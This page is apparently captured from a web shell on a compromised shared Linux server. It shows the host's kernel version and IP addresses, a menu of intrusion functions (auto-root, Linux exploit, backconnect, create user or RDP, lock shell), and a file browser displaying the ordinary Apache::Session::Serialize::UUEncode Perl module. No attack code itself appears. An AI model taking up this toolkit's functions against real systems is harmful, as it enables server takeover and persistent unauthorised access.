Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Apache /
Session /
Serialize /
[ HOME SHELL ]
Name
Size
Permission
Action
Base64.pm
1.77
KB
-rw-r--r--
Storable.pm
1.55
KB
-rw-r--r--
Sybase.pm
2.38
KB
-rw-r--r--
UUEncode.pm
1.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UUEncode.pm
############################################################################# # # Apache::Session::Serialize::UUEncode # Serializes session objects using Storable and pack # Copyright(c) 2000 Jeffrey William Baker (jwbaker@acm.org) # Distribute under the Perl License # ############################################################################ package Apache::Session::Serialize::UUEncode; use strict; use vars qw($VERSION); use Storable qw(nfreeze thaw); $VERSION = '1.01'; sub serialize { my $session = shift; $session->{serialized} = pack("u", nfreeze($session->{data})); } sub unserialize { my $session = shift; my $data = thaw(unpack("u", $session->{serialized})); die "Session could not be unserialized" unless defined $data; #Storable can return undef or die for different errors $session->{data} = $data; } 1; =pod =head1 NAME Apache::Session::Serialize::UUEncode - Use Storable and C<pack()> to zip up persistent data =head1 SYNOPSIS use Apache::Session::Serialize::UUEncode; $zipped = Apache::Session::Serialize::UUEncode::serialize($ref); $ref = Apache::Session::Serialize::UUEncode::unserialize($zipped); =head1 DESCRIPTION This module fulfills the serialization interface of Apache::Session. It serializes the data in the session object by use of Storable's C<nfreeze()> and C<thaw()> functions, and Perl's C<pack()> and C<unpack()>. The serialized data is ASCII text, suitable for storage in backing stores that don't handle binary data gracefully, such as Postgres. =head1 AUTHOR This module was written by Jeffrey William Baker <jwbaker@acm.org>. =head1 SEE ALSO L<Apache::Session::Serialize::Storable>, L<Apache::Session::Serialize::Base64>, L<Apache::Session>
Close